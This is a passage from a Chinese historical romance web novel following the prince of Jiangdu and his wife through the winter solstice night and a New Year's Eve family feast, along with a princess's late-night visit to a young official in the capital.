还没有等颜漪回答,百里漾自己陷入了对这个问题的苦恼之中,“永延殿那里虽好,可是地方终究是小了些,你起居所用的一应用具都在这边,什么时候搬回去的,我怎不知?” 颜漪:“……” 任何人听百里漾这条理分明、吐字清晰的话都很难认为他是醉着的。颜漪只好用点力握住了百里漾的手,引着他往长乐殿的方向走去,一面解释,“我并非是要回永延殿,我们这是要一道回长乐殿。” “不回去,不回去就好。”百里漾任由颜漪将他牵着,亦步亦趋地跟着。这姿态像极了牵小孩,只不过这个小孩的身形委实大只了些,大到能够将颜漪完全覆盖住。 他们静静地走在回长乐殿的廊道上,偶有被风力驱动着改变方向的雪花斜飞落入廊道,有几片落到了他们墨色的头发之上。在这漆黑的夜中,显得黑的愈黑,白的愈白。 一路百里漾都很乖顺,只在行至长乐殿前平台阶上时,他忽然又不走了。颜漪回头看他,却听到他没头没尾地问出一句,“江都的雪比湛京的雪,有何异同呢?” 颜漪在他眼中看到了一抹怅然,想起来他是十二岁就离开湛京之藩江都,此前更是五年未回过江都,谈何再见湛京的雪。她说道:“没有什么不同,皆是雪花罢了。” “七娘你知道么,这世间是没有一模一样的雪花的。”百里漾想到了前世的一些事情,忽然说道,说完自己却是笑了,笑完之后面色变得无比的认真与严肃,“所以说,湛京的雪和江都的雪其实是不一样的。” “世上的每一片雪花都是不同的,正如同这世上不会有完全一模一样的人。”类似的话颜漪还是听过的,她知道百里漾要说的不是这个,他是想家了。他想回到湛京,毕竟那里才是他出生成长的地方,那里有他的父母、兄姊。 江都虽好,但终究是差了一些的。 “大王是想回湛京了。”颜漪轻声道。她用的是肯定的语气而非疑问。 百里漾点头,然后又摇头,反问颜漪,“王妃不想回去么?” 说真的,这话堪称吓人。想想颜漪八月才嫁与百里漾,如今随他来江都才多久,半年时间都没有。冬至之夜,他却对她问出了这么一个惊人的问题。以他们的身份,这样的问话,多心之人就该疑心他是不是在问有没有后悔嫁给他了。 颜漪是多心之心,但她面对此刻的百里漾却不是多疑之人。她知道百里漾问她这话只是单纯一问罢了,更像是今夜的触景伤情。所以,她回道:“想的,偶有惦念家中母亲、兄妹可好,他们是否也在记挂着我。” “会的,他们肯定会记挂你的。”百里漾略显迷离的眼睛似乎在此刻绽开一抹清明的光芒,他远眺着顶上一片混沌不清的夜空,遥指湛京的方向,回头笑看颜漪,“那湛京,有朝一日我们也定能回去的。” 颜漪愣愣看着他,那双眼眸之中光彩熠熠,透出来的却不是她预想之中的野心。百里漾想回到湛京,不是源于对那世间最至高无上之权位的渴望,他只是想回去而已,也想带着她一起回去。 可谁人不知他是椒房所出之子。如今太子孱弱,恐时日无多,在许多人看来,江都王取得帝位的可能性极高,有多少人盼着他将来入主湛京、御极万方。他会不知道那些人对他存了怎样的期许么?他内心没有因此升起一股炽热的野望么? 那象征着至高无上的权位,对于百里漾来说难道没有一点吸引和触动么? 颜漪的内心突然升起了一股强烈的愿望想要探究百里漾的内心世界,他与她自小见到所接触过的男子都有很大不同,在很多方面,百里漾与那些人想必堪称纯净。是的,纯净。用这样一个词汇来形容一个自小便在最顶层的权力里浸润多年的人,她自己也会觉得不可思议。 “我信大王一定能够带我回去的。”颜漪目光放柔放软,看着百里漾的眼睛说道。 “你信我便好。”百里漾目光的光芒散去,重新变得迷离,脑袋垂下来看颜漪,打了一个小小的呵欠,“王妃,困了,我们回去吧。” 这个回只能是回长乐殿了。 颜漪失笑,牵着人回了长乐殿。不得不说百里漾的酒品是真的很好,不吵也不闹,让做什么就做什么,沐浴回来喝完醒酒汤之后就乖顺躺到床榻上,不一会儿呼吸就平稳了。 百里漾酒后是老老实实的,可不是谁都能像他一样令人省心的。 都尉府上,卢氏看着喝得醉醺醺的崔栋,真想一榔头把他砸晕算了。这厮也不知道在宫宴上在她看不到的地方偷偷喝了多少酒,回来的路上没闹什么,到家了躺在床榻上,她都困得昏昏欲睡了,这厮突然坐起来说自己要吃锅子。 锅子?这个点了去哪里弄锅子给你吃?! 但崔栋不管,他念头一上来就非要吃到,他让妻子别管他,自己掀被子下床榻就要去找锅子吃。卢氏躺在床榻上气得把被子蒙过头真不想管他。可是,这天这么冷,崔栋那货估计衣服都不记得穿多一些,真把人冻着了自己还得伺候他。 披衣,起身,去找那个叫人不省心的货。 崔栋还真叫来府中的仆人给他起火弄锅子了,卢氏追在身后,叫那些大半夜被叫起来的仆从将东西撤了,回去睡觉。崔栋不干了,让他们不许撤掉,继续弄。卢氏说撤,崔栋说不撤,一时之间,弄得仆人是左右为难。 卢氏生气了,“崔栋,今晚你要是不睡了就别睡了。”言下之意,崔栋要是还坚持吃他的锅子,今晚也不用进房门了。 若是正常状态下的崔栋早就听懂了,可惜现在的崔栋酒还没有完全醒,醉酒之人不能以常理度之,他梗着脖子,粗声粗气的,“不睡就不睡,我今夜就偏要吃到锅子不可。” 卢氏差点气了个仰倒,决定不管崔栋了,扔下一句“我懒得理你”,转身就走。只是不知道怎么的,刚走了两步,感觉腹部一阵翻涌,一股奇异的恶心感倒灌到喉咙,“哇”的一声突然开始捂着胸口发吐。 这突发的一幕吓到了很多人。 崔栋立时就懵了,反应过来酒也完全吓醒了,锅子也不吃了,三步并作两步冲到卢氏面前,又是拍背又是急问,“怎么突然作呕,吃到什么不好的东西了?”一转身又吼身边的仆从,“还不赶紧叫大夫过来。” 这一夜,都尉府上注定是兵荒马乱了。 …… 同样的夜晚,在那遥远的湛京之中,一些人注定没有早眠。 冬至大朝、皇帝祭天,这些都是极其重大且马虎不得的事情,但也因为重大而少不了繁琐的礼仪和仪式。皇帝这些年来头疾久治不愈,身体也渐不如盛年,白日撑着举行完祭天、朝会之事,夜晚的宫宴上也只是露一面后便离开,因此宫宴也散得早。 散宴后众人出宫的道路仅有一条,其中要步行经过一条宫道后出宫门才能够骑马乘轿各自打道回府。这本没什么,照着路线走便是。只是奇的是这宫道前头竟立着栎阳长公主这位主。大家避不开她,只能一一上前去拜见告辞。本以为这位长公主在这里是特意要等谁,可有些好奇之人故意磨蹭了会儿,也没有见到这位长公主真正要等之人。 百里澄自然不是在等人的,也不会在意路过之人看似无意实则探究的目光。她之所以站在这里是突然间发现自己无地方可去了。她本来是想散宴之后到椒房殿去拜见皇后,与自己阿娘说说话的,可是陶掌宫告诉她,今日陛下去了椒房殿,那她就不好去了。东宫长兄一家三口气氛和乐融融的,她就更不好去打扰了。 这会儿时间还早,百里澄却不想回寝宫。因为她即便是回了寝宫也不会有睡意早睡的,无非是秉烛处理事务。这放在往日不过是再正常不过的事情,但今日是冬至,她忽然就生出一颗惫懒之心来了。 “长公主,天寒,不好久待的。”陪着百里澄在这里吹了好一会儿冷风了,她身边的女官不由委婉提醒道。 “罢了。”百里澄似是下了决定,细长的眉尾微微上挑,更像是想到了什么有趣的去处,“我们出宫去。” 女官点头,转身去为百里澄备车了。她并没有觉得百里澄一个未出阁的帝女半夜出宫是什么奇怪的事情,更不会觉得这不合规矩。 规矩是什么?或许对别人有用,但对于一位手掌大权、深受帝宠的长公主来说,那从来都不是能够束缚她的东西。 很快,马车便套好了,因为里面坐着的是大衍目前唯二的长公主之一的栎阳长公主,宫门守卫直接放行。于是,夜色之中,一辆二驾漆金马车穿过重重宫门,奔驰在湛京城之中。它在一片又一片俨然的屋舍高楼之中穿梭,最终载着人抵达了目的地——一间堪称简陋的小院门前。 不只是这院子在这辆漆金的二驾马车面前显得无比简陋,实际上它与周围的一切都显得格格不入。一辆任是谁看了都觉得不应该出现在这里的马车,深夜之中却出现在了这里。 披着深蓝色斗篷的百里澄下马车之后,女官问道:“何时来接您为好?” 百里澄看着眼前禁闭的门扉,从门缝中漏出来的光昭示了主人夜未眠的事实,唇角略微上扬,迈步向前要叩门,头也不回道:“今夜不必来接了。” 女官闻言瞳孔不受控制地震颤,嘴巴微张,一时之间说不出话来,但她最终也没有说什么,更无劝阻之意,只是拱手行礼,“下官告退,明日卯时再来接您。” 马车“哒哒”地走了,它来过,留下了一人。 黑夜渐深,有风穿巷而过,带起一阵呼啸之声,街巷之中偶有犬吠,灯火零星,空气里夹杂着一字半句不真切且断续的人家絮语。 简陋的小院里,点灯夜读的人因为太过入神还没有察觉到外面的动作。卧室狭小,一盏油灯足以照亮一隅。一张简洁的书案边,一名容貌俊秀的青年正伏案而读,周围很安静,偶有灯芯燃烧炸出的一点细不可闻的“噼啪”之声。 他手中执着一册书简,阅看过程之中似乎遇到了什么难解之处,一双浓淡适中却在尾端上斜勾出一抹锋利弧度的眉慢慢拧起,越是苦思不得便越是拧紧,嘴里亦是不在念叨着这句令他不解之语。 今日是冬至,但无论是皇帝祭天还是大朝会以及晚上的赐宴都与闻夏干系不大,只因他目前只一以太学生身份出仕不久的微末小官,那些称得上是国朝大事的活动仪式他都没有资格列席。不过,皇帝陛下大方,似他这等微末小官也能得到冬至节赏,虽然发到他手上的不多,只百八十文钱、一件棉袄、二十斤炭、一挂肉、一壶酒,但他已心满意足了。 算着宫中赐宴开宴的时辰,闻夏提前用那一挂肉并着白日里去市集从一阿婆那里买来的菜疏炒了两碟小菜,开那一壶酒,浅酌两杯,听左右邻人嬉笑细语,亦是舒服事一件。 到了晚间,睡前他习惯读一册书,此时渐入佳境,可惜被一段文字难住了。正细思间,他忽然听到了几道连贯有序的“笃笃笃”声,像是有人在敲门,而且敲的是他家的门。 但这可能么? 闻夏自认在湛京之中并无亲故,就算是因学业以及仕途也结识了一二友人,但也不可能在冬至夜登门,许是听错了,许是敲的别家的门。他凝神静听一会儿,敲门声并未再响起,摇摇头,也只当是自己的错觉。 “笃笃笃”。 闻夏刚将放下的书简拿起,目光将要重新投注到其上的文字之上时,那敲门声又响起来了。这一次比之前的要急促了一点,他也确定了,错不了,还真是有人在敲他家的门。 只是,这个时候,还会有谁登他家门? 但无论是谁,眼下都不好让人久等。闻夏起身,视察自己着装并无不妥之后,匆匆走至门口,拉开门栓,打开门的瞬间,他对上了一张明艳含笑的脸,此时此刻一个无论如何都不该出现在这里的人,此刻就站在他的门前。 完全意想不到的事情,或者说根本没有想过的事情,就这么在他的眼前发生了。换作任何人都会觉得难以置信,甚至觉得这是幻觉,少不得要做些“以疼痛唤醒自己”的举动。 可闻夏没有,他只是眨巴了两下眼睛就确认眼前之人真的是栎阳长公主,大惊失色并伴有结巴,“长公主您、您怎么会出现在这里?” 今夜的宫宴散的这么早的么?可即便是散的早,长公主为什么会出现在他家门前啊?! 百里澄对闻夏面上出现的因为震惊而带来的无措很满意,心情的愉悦更上一个度,愈发觉得自己今夜没有来错地方。她眉眼间的笑意更浓,檀口轻启,并没有回答闻夏的问题,而是问道:“怎么,有客到访,主人家不请我进去么?”- 作者有话说:天太热了,实在码不完了。[爆哭] 第123章 除夕 按理说有客至, 哪怕此客没有预先告知主家或是递交拜帖,且此客也并非恶客,主人家都应当扫榻相迎, 以好茶好酒招待之。 可前提这个人不是百里澄,这个时候也不合适啊。 闻夏下意识地想说“请进”,可他马上就觉得不该如此,于是那两个字又被他生生咽回去了,改口说道:“寒舍鄙陋, 实恐怠慢长公主, 请长公主恕罪。” 恕罪, 恕的什么罪?自然是不能招待之罪了。 其实就是委婉地拒绝百里澄入内了。 听听,这话是多么的大胆。国朝唯二的长公主都到你家门口了, 竟敢拒之不纳,还请人家打道回府, 简直就是目无尊卑、胆大妄为。敢问这世上有多少人敢行此事,尤其是面对的还是在世人看来堪称“凶残”的栎阳长公主, 恐怕放眼天下都是没有几个的。 可是闻夏敢, 虽然说得委婉, 可意思就是那么个意思不是么? “你,知道你在说什么么?”百里澄脸上隐约带着的笑意骤然消散,眉尾下压,瞬间给人一种威严压迫感,让人无端感到一种危险,进而产生畏惧。 “……”闻夏与她对视,竟不闪也不避。若是放在初识时,他自然是如旁人一般以为这位长公主是发怒了,必定是要畏惧、口称不敢的, 哪里还敢有半点违逆她的心意。 可闻夏不是旁人,他也不是第一日认识百里澄了。 外人是因为畏惧长公主的权势地位,加上未知她的心思,故而产生恐惧。他知道百里澄这会儿应当是生气了,但不至于到发怒的地步,也没有外人想象的那么可怕。眼下他只是无奈,但也很坚持,“长公主千金之躯,恐陋室不便,有唐突之处……”且不提他们之间的身份悬殊,就是这孤男寡女的,值此深夜也不该共处一室。 本来外面传他们俩的闲话已经够多了,若是今夜长公主特来登他家门的事情被传了出去,闻夏都不敢想象之后湛京城之中有关于他们俩的闲话会传成什么样子。 百里澄看着闻夏那张坚持不肯退让的脸,暗暗磨了磨牙。 说来说去,就是不愿意让自己进去。 百里澄自然知道闻夏在顾虑什么,说他是顽固不化还不如说他是扭捏,双手抱于胸前,似笑非笑道:“真不知道你唧唧歪歪这些做什么,真有唐突,上一次也唐突过了。我都不介意,你一个‘大男人’介意什么?” 闻夏差点被她后面的话噎住,一股热气直冲上脸,若非今日天寒脸上本来就被冻出了一团红,那么他此刻呈现在百里澄眼前的就只有这一团羞红了。 上一次那是意外,而且,真要算起来,也不知道到底是谁唐突谁? “不行。”闻夏摇头把上一次的回忆从脑海里挥去,依旧坚持己见,但又觉得自己太过坚决的拒绝有伤长公主的面子,缓和语气劝道,“今日冬至,长公主当与陛下殿下共享天伦。下官此处却有不便,还是请长公主尽早回宫,勿使他们担心才是。” 站在门口说了这么多,这木头脑袋还是不肯放她进去。百里澄定定看着闻夏,心下叹了一口气,换作旁人她早就发怒了,可谁叫她就是看中了这个木头脑袋呢。叹完气,她换了一副似为难的口吻,“我倒是想回宫,可依当下的时辰,便是回宫,宫门也早已落匙,我如何回得去呢?你若不收留于我,今夜我当真是不知道何去何从了。” “露宿街头”这个词不适合百里澄。堂堂栎阳长公主即便一时半会儿回不了宫,也绝对不会沦落到露宿街头的地步。真要是用了这个词,过于夸张,恐怕她今夜就更难以进这个门了。 闻夏听她这么一说,顿时也为难起来。 即便今日是冬至,宫门落匙的时辰会比平时晚,可百里澄能够出现在这里证明宫宴早已结束,赴宴之人皆已离宫归家,宫门怕是已经下匙了,今夜百里澄是决计回不了宫了。那么今夜她该去那里呢?他丝毫没有发现自己被百里澄绕进去了,此前心里的坚持已经在松动。 闻夏怎么就不想,堂堂长公主不仅不可能露宿街头,也不可能在湛京城之中除了皇宫之外没有地方住。他只是现在没有想到,但百里澄不会让他想到了。 “你确定你我还要如此说话么?”百里澄忽然说道。 “什么?”这话一下就打断了闻夏的苦思,让他惊觉两人现下的处境——他们俩是站在门口说话的,从百里澄敲门、他开门到现在,两人在门口起码站了有一炷香时间。 也就是说,他们不仅是站在门口,还是在寒风之中交谈了一炷香时间。一男一女,大半夜的站在门口说话,怎么看怎么诡异,但凡是个人路过都少不得要多看两眼。而且,堂堂一长公主,站他家门口算是怎么回事啊。 不妥,实在不妥。 耳边隐有寒风呼啸,不一会儿便吹到二人身上,闻夏不自觉打了个哆嗦,第一时间想到的不是自己冷,而是百里澄会不会冷。朝她看去,虽斗篷衣裘,但面有团红,必然是冻出来的。再在这里站下去,两人之后怕是都要受寒。 百里澄看他已然松动,低笑一声,作势要迈步向里。闻夏还没有真正下决定,但身体很诚实地让开了。眨眼间,百里澄已入得闻夏家中,却如同进了自家一般,闲庭信步,熟门熟路地进了此处唯一的一间卧室。显然,上次来过的经历让她连床榻朝哪个方向摆放都知道了。 看着百里澄步入自己卧室的身影,闻夏面上纠结反复,最终化为一声长叹,关了门,朝着那道身影追去。 但愿今夜的事情没有第三个人知道。 冬至过,天气渐回暖。虽时有大雪,但冬日渐暖融,太阳一出,积雪不消半日便化了。江都城中一切照旧,百姓依旧日出而作日落而息。白日的江都郡城热闹吵嚷,人们或忙营生、或偷懒多闲,得闲时三五成群聚在一起聊些近来发生的新鲜趣事。 而江都之中近来发生最大的事情莫过于大王查抄了一大批贪官罪吏,不知道多少平日里高高在上、颐指气使的官员们以及家眷锒铛入狱,好些犯了死罪,判了斩刑或流放,重罪在身的甚至都活不过今年,除夕之前就要拉到菜市口斩首示众。 对于一般的百姓而言,虽然同住一座城中,但因为阶级的差距过于悬殊,不管是官员还是大王都离他们太过遥远,那些犯官污吏的事情牵连不到他们,不过可以为他们的茶余饭后添加一些谈资来说道说道。 百姓皆是嫉恶如仇的,他们最纯朴的认知之一就是好人有好报,让坏人罪有应得。这一次上面查抄了一大批犯官污吏,连同底下那些借他们势为非作歹之人也一并被收拾了,不知道有多少人拍手称快。眼见着官府贴出告示将要处决犯人,一些胆子大的人还想着届时去菜市口围观杀头。 除夕将至,过完除夕,这一年便算是翻过篇了。但在今年翻过去之前,有些人就没有必要留着过年了。此前百里漾已经核准了刑狱司呈报上来的处刑名单,赶在除夕之前,刑狱司核准死囚身份无误后,将一干人等推到菜市口斩首示众。 那一日是一个好天气,阳光格外的刺眼,照在身上不少人甚至起了一身的热意。时辰至,监斩官一声令下,负责行刑的侩子手手起刀落,十数颗人头滚滚落地,血流满地。 观刑的不只有平民百姓,还有这些死囚的亲属们。这些日子他们四处奔走就是希望能够为这些被判了斩立决的人求得一条活路,可是在这个关头没有人敢去趟这趟浑水,即便是捏着大把的钱财,他们也不能为自己的死囚亲人买一条命。如今眼看着犯事的亲族人头落地,有些人直接吓昏过去,更多的也只能是上前收尸。 因着除夕之前的这一片血色,从除夕至次年上元节这段时间的江都郡城都冷清不少,当然这是相对于江都上层权贵而言的,底下的老百姓如往年一般该如何热闹过年过节便如何过。为了迎接新年,家家户户开始张灯结彩,旧符撕下换上新符。除夕前的街市上,行人如潮,钻进了各种铺子里购买年货,爆竹、年货等店铺生意大涨。 除夕前两日,衙门百官封印,待至除夕日,与家人共度佳节,除旧迎新。 宫中入夜后只有家宴,白日百里漾难得睡了一个懒觉,日上三竿了还赖在床榻上不愿意起来。颜漪从外面进来时看到的就是百里漾抱着被子,姿态懒洋洋的像极了花园里眯着眼睛晒太阳的猫。 “大王还不起身么?” 百里漾闻声望去,逆光走来的颜漪宛若神女临凡,一步一步向他这个凡俗之人靠近,让自己伸手就可以触碰到。心里是这么想的,百里漾也是这么做了。他一伸手将颜漪拽到床榻上,自己“咕踊”着将脑袋靠到了颜漪的腿上,闭着眼,“怎么一大早就起来了?” “大王偷懒,若是我也跟着一起,今日宫中怕是要忙乱套了。”颜漪很顺手地将百里漾的脑袋扶正过来为他轻轻按揉着脑门两侧的穴位。 “辛苦王妃了。”百里漾拉着她的手说道。 年尾事情多,之前一些难以决择或是繁琐的事务都拖到年尾,若是不处理了就要留到下一年了。百里漾之前忙着处理查抄贪污之事的后续,宫务皆交给了颜漪,还有筹备迎新年的事情,若要说忙碌,颜漪也不比他轻松多少。 “过年还有好几日的假,王妃有什么想去的地方么?”百里漾合计了一下,过年这段时间应该没有什么特别要紧的事务,此前承诺过要带着王妃去江都四处转转,不久前也就只在江都郡城里转了转,不说江都郡城没有转完,其余各处也没有去。他算着初一之后几日应当有空,去不成周边也可以将江都郡城全部都转一遍。 “大王拿主意便是,我相信大王的选择定然是不会无趣的。”颜漪把问题抛回给了百里漾。 “不会无趣么?”百里漾睁开眼睛,看着上方的王妃,也看到了她眼眸中的笑意,自己也乐了,“王妃就这么相信我?” “难道大王还能骗我不成?” “自然不会。”百里漾佯装叹气,“王妃可真是给我出了一个难题。”江都的地界他自然是熟的,只是问题在于,对于颜漪来说,去怎样的地方才能算是有趣呢? “比起这个问题,大王不如先想想今夜的晚宴该如何办才是。”颜漪提百里漾揉捏了一阵脑门两侧穴位,见他已然清醒,停止了动作,催促他起身,“虽说今日无甚要务,但好歹是除夕,大王打算在床榻上赖上一整个白日么?” “那可不行,今日可是除夕,晚上我与王妃可是要一同守岁的。”百里漾麻利起身,一边招来侍从伺候他穿衣洗漱,一边同颜漪说道,“除夕夜只有家宴,算起来能够一同入宴的只有表兄与表嫂,皆是自家人,便可随意些。” 冬日里清水濯脸简直是提神醒脑,百里漾忍不住一激灵,赶紧用布巾擦脸,“往年守岁都是我与表兄,今年多了你与表嫂,怎么都要比往年热闹些。前些日子表兄不是吵吵着要吃锅子么,弄些羊肉、鹿肉来涮,全了他的心愿。再将厨房弄些合每个人口味的菜色,摆上几壶好酒,王妃看可好?” 听着确实很简单随意了,不过今夜除夕宴只是家宴,家人之间本就该随性自在些。颜漪笑着颔首,说道:“这样再好不过。既如此,厨房那边就要尽快吩咐下去,我先去过去看看。” “等等。”百里漾叫住了颜漪,手上动作无比迅速地将自己的衣服穿好,走到她身边,“今日是除夕,怎好让王妃一人独自忙活。我们一道去看看,有什么缺漏的也好及时补上。” 他动作快,但快就容易忽略一些细节,衣领有一边都没有翻出来。颜漪凑近帮他整理好了,抚平了多出来的褶皱,手刚放下来就被百里漾抓进手里牵着。 两相对视,百里漾笑容更加灿烂,抬起两人交握的双手示意,“今日王妃可得牵劳我,别把我弄丢了。”言下之意就是他今日一整日都与颜漪形影不离了。 注意到周围宫侍尽力低下去不往这边看的头颅,饶是这不是第一回被百里漾在大庭广众之下做出这样的亲密动作,颜漪依旧是面皮薄脸热,但她没有挣扎,只是笑道:“那大王可要跟好了,真要是弄丢了我可不会回头去找。” 百里漾挑眉,“那我更得抓紧王妃的手了。” 两人携手而出,一路上宫侍见之,虽不敢多看,但莫有不羡慕感叹的。大户人家都少见夫妻如何恩爱和睦的,莫说两人皆是金尊玉贵,且身在天家,更显难能可贵。 一路走来,因着辞旧迎新之故,王宫之中处处焕然一新。所过之处,宫人下拜,口中说着祝福的吉祥之语。无数道目光皆在两人交握的手上落下又移开,哪怕衣袖宽大遮掩大半,但观两人行走间挨得如此靠近的距离,明眼人如何瞧不出两人是携手同行的。 至入夜,崔栋带着妻子卢氏入宫赴宴。设宴的地点在章德殿,此处向来是作为宴请之用,不过比起之前大宴江都权贵官员及其家眷们,今夜只有百里漾等四人显得殿中格外的空旷。 “今夜准备什么好吃的了?”崔栋殷勤地扶着卢氏进来,小心翼翼地姿态让人实在没眼看。但他好歹还记得给颜漪行礼,“拜见王妃。” 卢氏也要给百里漾行礼,被百里漾拦住了,他道:“今日是家宴,表嫂无需客气。如今你可是金贵人儿,表兄可是紧张的不得了,眼睛都不敢多眨一下,生怕那多眨的一下就看不着了。”这是玩笑之语,也带着打趣,让卢氏颇为不好意思。 原因无他,卢氏有孕了,就是在冬至那夜查出来的。 那天晚上喝大了的崔栋半夜不睡觉闹着要吃锅子,卢氏跑出来拦他省得大晚上的折腾给冻坏了,结果化身犟种的崔栋不听,后面卢氏也不知是受冷还是怎么就直犯恶心,请了大夫来看,确认是喜脉,崔栋是既惊又喜,从此走到哪里都恨不得把卢氏给揣兜里带着。 眼见丈夫这么紧张她、紧张孩子,卢氏心里当然是甜蜜的,不过崔栋有时候的确是太烦人了,稍不留神就会转化为甜蜜的苦恼。 崔栋一点没有不好意思,还呲着牙花表示:“如今你和孩子就是我最大的宝贝,可不得看紧点,一点都不能磕着碰着。” 他脸皮厚,卢氏可没有他这么深厚的功力,气恼地偷偷拧了一下崔栋的腰间软肉,让他再在大王和王妃面前“丢人现眼”。羞涩固然有,但更深的一层是卢氏不想给颜漪压力。 崔栋是崔预与李氏夫妇膝下唯一的儿子,如今更是年已及冠才成婚娶妻,与他同龄乃至年岁稍小些的人生下的孩子不说能打酱油,满地爬总是能行的。天知道崔大将军夫妇俩每次外出应酬或是赴宴聚会看到人家怀里抱着的大胖孙子/丫头,羡慕的泪水都要从眼角流下来了。 卢氏嫁到大将军府如何不知道公婆盼孙心切的心情。但值得欣慰的是,公婆皆是通情达理之人,他们虽然着急但从未表露,只道顺其自然,并不给她压力。尽管如此,卢氏心中亦并非没有半点压力。那夜有孕的消息传来,她欣喜之余也有点松了一口气的感觉。 可固然崔家急需第三代子嗣的诞生,但相比而言,其实更迫切需要早日孕育子嗣的人事百里漾与颜漪。一个没有子嗣或者子嗣不丰的皇子在迈向那个位子时注定要比别的皇子多出一块明显的短板,这块短板的存在会让大臣在选择效忠时更容易摇摆不定。东宫如今的情况大家都看在眼里,不只是百里漾和颜漪需要子嗣,而是整个椒房一脉都需要子嗣。 卢氏与崔栋成亲的时间也就比颜漪与百里漾成亲的时间早了那么一点,可如今自己有孕了,颜漪却没有,两相对比之下之下,她担心颜漪会多思多虑或是压力增大。好在无论是百里漾还是颜漪在知道她有孕的消息之后皆是真诚地祝福,并未有因此多思多想,让她松了一口气。无论是颜漪还是百里漾都是很好的人呢,他们也确实是把她和崔栋当自家人看待。 卢氏是嫁入崔家的新妇,对于崔家以及崔家的亲故来说,她是一个外来需要融入的新人。她需要融入一个对于她来说是陌生的环境,与环境之中的人接触相处是不可避免的。对于已经在环境里的人来说,该害怕的人是她,可她又必须要鼓足勇气迈进去,彻底融入进去。而在这个融入的过程之中,她打心底里希望事情一切能够顺利,她所遇到的都是好说话、好相处的人。 这无可厚非,向来人的本性就是趋利避害。 崔家人口是简单,崔预夫妻与小姑子崔若都是性子好的和善之人,卢氏与他们相处并没有觉得有半点不好。可崔家偏偏又是天底下最是不简单的人家之一,崔家的血亲之中还有一个稳坐椒房的崔皇后,崔栋还有东宫、栎阳长公主、江都王这三个表兄姐弟,这里面涉及以及绑定的东西太多太多了。 而在此之中,按照规划的路线,崔栋自小是辅佐江都王的,江都王就封,崔栋是要跟着去的,她作为崔栋之妻,注定了未来很长的一段时间里她都会待在江都。也因此,卢氏面对的问题已经不是融入崔氏这个家庭了,而是如何融入以江都王为首的这个团体。 融入是一个过程,而在这个过程之中,江都王百里漾是无论如何都不能忽略的人。好在江都王确如崔栋所言的那般,让她少了许多此前产生的担忧与顾忌。 百里漾不知道卢氏因为有孕之事想了那么多,他是没有想那么多,怀孕这种事情本就是顺其自然,他在知道卢氏怀孕后是真心替即将当爹的崔栋高兴的。他是冬至的次日知道的,当即就令人开府库点了不少保胎养身的药材送到崔栋府上。 当然,他在知道卢氏怀孕后,为崔栋夫妇俩高兴的同时也不可避免地想到了自己与颜漪。他们俩身体健康,正值年轻气壮的年纪,那方面向来和谐,也没有特意做过什么避免的措施,若无意外应该要不了多久就能够诞育出彼此共同的孩子来。 若是百里漾一点想法都没有是可不能的,有时候他也忍不住想,他和颜漪的孩子会是什么模样的,长得像他还是像颜漪多一点,是乖巧省心的可爱宝宝还是调皮捣蛋的混世魔王?想到后面又忍不住忧愁起来,他与颜漪能够当好一对合格的父母么? 育儿啊,前后两辈子加起来的经验都为零呢。 “太好了,今晚吃的是鹿肉火锅。还是五郎你懂我,我惦记这一口可是惦记了好久。”就这么一会儿功夫,崔栋已经跑到餐桌边,看到铁制的锅子红油因为高温在不断地翻滚着,一股带着辛辣味的香气也随着冒出来,让他沉迷,“就是这一股香味,我跑遍了江都大小酒楼铺肆,没一家做得出来的,也就五郎这有,今夜可算是能够大饱口福了。” 百里漾很是无语,不就是红油火锅么,固然配料比较难寻,可配方和配料他都打包给崔栋了,何至于一副几百年没有吃过的样子。 对此,崔栋也有自己的一套理由,还说得振振有词,“一个人吃有什么意思,这东西就是要大家伙聚在一块吃才有感觉。” “可我怎么听说冬至夜某人半夜不睡觉闹着非要吃锅子,汤油都烧开了就等着肉下锅就能吃了。那时候,旁边应该没有第二个人想吃吧。”百里漾挑眉道。 这没人陪着吃不也大半夜起来吃独食了? 崔栋:“……”完全无话可说,就当作没有听见好了。 “快落座吧,再不来这水都要烧干了啊。”崔栋麻溜入座,招呼着其他人坐下,开了两瓶好酒,给每人都满上,卢氏除外,她喝的是清甜的果汁水,当然,今夜的锅子也不能吃辣的,好在有给她准备了清锅。 相比于红油锅,清锅显得寡淡以至于索然无味了些。卢氏看着其余三人吃着红油锅,那一层红油真的是格外勾人蠢蠢欲动啊,只可惜,为着肚子里还没有显怀的孩子,也只能忍了。 只有四个人的家宴虽小,但热闹却是不缺的,更多的是随心自在。崔栋吃着吃着就拉着百里漾到殿外去放烟花爆竹去了,引线点燃后烟花升空炸开一朵朵漂亮绚烂的焰火。出来看烟火的宫人不少,毕竟这王宫之中一年到头也就有那么几日能看到这样的景象。 在那炸开的短暂绚烂光影之下,百里漾回眸看见了不远处立着的颜漪眼眸中的跃跃欲试,他笑了笑,走过去拿着一支没有燃放的烟花问道:“要试一试么?” “好啊。”漫天烟火之下,颜漪面带笑容走向了百里漾。 …… 比起江都的小宴,湛京皇宫之中的家宴规模则要大得多。皇帝携皇后以及宫中孕育有子嗣的宫妃出席,与皇帝同辈、仍留居京中的则有荣王、越国长公主携王妃/驸马及子嗣出席,如太子这般在京的皇嗣则亦携太子妃/驸马以及子女前来赴宴。林林总总,一群人加起来人数也有三四十人,凑在一起,也是热闹。 皇帝容色和悦,看着周围热闹欢快的一群人,谁来都能同他说上两句话,若是小辈过来祝贺除夕,还令近侍将提前准备的赏赐发到那些嫩生生的小手上。 七皇子梁、八皇子流年幼,未如前头的几个哥哥们封王离京就藩,仍留居宫中由生母刘妃抚养,因是幼子,皇帝多有宠爱,甚至还将八皇子抱坐在膝上与荣王、越国长公主等人说话,左边还依偎着阿荧。 阿荧与八皇子年纪相仿,即便两人差着辈分,可宫中也只有他们俩是玩得最好的。这个年纪正是活泼好玩坐不住的时候,在皇帝身边待了一阵便待不住了,在得到允许之后,两个小孩手拉着手便跑去玩了。 “这几日做什么去了,一副如此困顿的惫懒样。”崔皇后一根手指点在抱着她手臂靠着的女儿额头上,语气说是嗔怪不如说是心疼。她如何不知道长女这段时间在忙些什么,临近年关,事务最是繁杂琐碎的时候,长女辅助长子掌管东宫,这半个月来可谓是忙得团团转,吃饭喝水都要另找时间。 百里澄闭着眼睛小憩,周围都是喧闹声,这会儿时间只不过是想闭目养神片刻,更晚些的时候她还要坚守到最后守岁呢。她闭眼小声道:“阿娘我困,只眯一刻钟,时间差不多了您就叫醒我。” “好,你睡着,阿娘会替你看着的。”崔皇后声音无比的轻柔,任由女儿依偎在自己身边。 不知道过了多久,百里澄耳边传来一段刻意压低了声音的对话声。 “祖母,姑姑是不是睡着了?”这是阿荧的声音。 崔皇后:“是的呀,姑姑这几日太累了,我们让她休息一下,不要打扰她。” 